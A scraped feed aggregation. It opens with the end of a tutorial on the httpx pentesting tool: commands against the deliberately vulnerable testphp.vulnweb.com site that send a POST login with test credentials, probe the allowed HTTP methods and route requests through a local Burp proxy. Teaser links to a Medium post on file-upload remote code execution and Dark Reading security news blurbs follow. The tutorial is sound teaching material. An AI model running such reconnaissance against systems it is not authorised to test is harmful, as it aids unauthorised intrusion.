https://blogger.googleusercontent.com/img/a/AVvXsEh5v5fov0RtLAof6b-hnFKVi--FdH3b6_LcJCK0F6WFAXNIB9T2nj_Tj0G0Zj8eA40-yy7uoQjXkH6_rejTweydG93MNwx_R60uQKDmOB8A2UAtzgxgVU_Pk5cuj3K7IA4nyY1hle14YjRlOAVZl6I_ZLCl1bkH4116pZ3Dbe55XJCqs1t-QhSkvkQtZg=s16000 To replicate the same request, httpx provides various modules<o:p

-x: specify the HTTP request options. GET, POST, PUT etc.<o:p

-H: provides custom headers to be sent<o:p

-body: specifies the additional data in the body to be sent along with the request<o:p

As you can see in the screenshot below, the tool has logged in (200 OK) and displaying the output of the profile page.<o:p echo "http://testphp.vulnweb.com" | httpx -debug-resp -x post -path "/userinfo.php" -H "Cookie: login=test%2Ftest" -body "uname=test&pass=test"<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEihPeBA5Hrk07516xhJi5ZHF-4V2CIWCNojeDo0MvTsMD9--4sGxWBEGRzQhk-UgnhxKv3EI-3z_aQqRSbO0OMqx-48w4sTOCb_UIdGNV82V2WbIJbGOuO9VSoT8lN-dENwcYqYxo8Z8kdxUOKnnomvAnT8kBAGFLe[...]

oUHSvqT6XrnuCfGEKLCR8LjSiAg=s16000 HTTP Methods Probe<o:pThe “-x all” option probes all the HTTP OPTIONS (request methods) and displays which options are permitted on the webpage. It is a nifty tool for pentesting. As it is visible, all the options are permitted on the webserver.<o:p echo "http://testphp.vulnweb.com" | httpx -x all -probe<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEiaNBWCRdHnhL4Indipc0G1EvbNpiOq6sOj-ZzMqYUrRAmV4vE156VpIc6jDEyHe8tQtLY8jjeAXESe698uUvEnqjwEpJC1lZzUS5BZIzXKvUSgwnNIO3MiliI7Ddn4C3V1AuBcZGqvr0kyigYkDedl1Cm7hRG43-3-APM3D_jPQSMBsKEBoJxdOx_Zmw=s16000 Routing though proxy<o:pHTTP requests can also be routed through custom proxies. For example, if we were to send requests through burp suite, we can use the “-http-proxy” module and specify the destination. Same can be done with socks proxy in the format, “socks5:127.0.0.1:9500”<o:p

And as you are able to see, request is now being captured in the proxy.<o:p echo "http://testphp.vulnweb.com" | httpx -x all -probe -http-proxy http://127.0.0.1:8080<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEiOEWGbk4J4UnXg95YRewR53XsHrzsRTR2CnzYh30lExBKTt1a7xAftrnCeeocRrvddtdc4ug9t2e0uKS2g8b7Ep2vTWVZC-6sSmKVn5r2iOfwCk2kPaSz_PYIOVrW1wg7xZZelCwdmn0V8EO7kdfPv4q6kJuS9ZEJFd8FiLbCsz5onp5VfYaiVrnjuMw=s16000 Conclusion<o:pThe aim of the article was to serve as a ready reference for majority of the options available in httpx tool. We have covered almost all the working options as per the date of publishing of this article. Please feel free to check out the official repo for more and updated options here. Hope you liked the article. Thanks for reading.<o:p

Achieving Remote Code Execution via Unrestricted File Upload

$whoami:Continue reading on Medium »
Read more...

Achieving Remote Code Execution via Unrestricted File Upload

$whoami:Continue reading on Medium »
Read more...

Dark Reading: Attacks/Breaches
Domain Codex Launches New Search Engine Tool for Researching Domain Intelligence

Domain Codex allows users to search more than 370 million Internet domain names and associated data.
➖ Sent by @TheFeedReaderBot ➖

Dark Reading: Attacks/Breaches
CISA Hosts Eighth Cyber Storm Exercise With More than 200 Organizations

Participants across the globe worked together to respond to a simulated significant cyber incident impacting critical infrastructure.
➖ Sent by @TheFeedReaderBot ➖

Dark Reading: Attacks/Breaches
Secureworks Adds Hands-on-Keyboard-Detector to Taegis Platform

Detector helps prevent, detect, and respond to advanced threats with automation, machine learning, and threat intelligence.
➖ Sent by @TheFeedReaderBot ➖

Achieving Remote Code Execution via Unrestricted File Upload
https://medium.com/@haroonhameed_76621/achieving-remote-code-execution-via-unrestricted-file-upload-6050f360c218?source=rss------bug_bounty-5